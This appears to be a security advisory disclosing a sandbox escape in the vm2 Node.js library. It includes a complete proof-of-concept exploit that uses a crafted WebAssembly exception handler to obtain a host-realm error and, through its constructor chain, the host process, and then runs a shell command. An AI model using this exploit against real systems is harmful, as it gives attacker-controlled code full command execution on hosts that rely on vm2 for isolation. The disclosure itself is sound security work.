Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run(`
const before = typeof process;
const err = new Error("x");
err.name = Symbol();
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
0x02,0x19,0x02,
0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
0x03,0x02,0x01,0x01,
0x07,0x0f,0x01,
0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
0x0a,0x12,0x01,0x10,0x00,
0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);
const instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm),
{ env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
const id = p.mainModule.require("child_process").execSync("id").toString().trim();
const log = p.mainModule.require("console").log;
log("");
log("process before escape:", before);
log("process after escape: ", typeof p);
log("host pid: ", p.pid);
log("host node version: ", p.version);
log("RCE: ", id);
`);
0x5t Reporter
Wenxin-Jiang Analyst
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside
VM.run()obtains host process object and runs host commands with zero host cooperation.Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux)
Trigger: Attacker-controlled code passed to
VM.run()Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects
handleException()into JScatchclauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.WebAssembly's
try_tableinstruction with aJSTagcatch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASMtry_tablecatches it as an opaqueexternrefand returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.PoC
Proof files
poc.js
References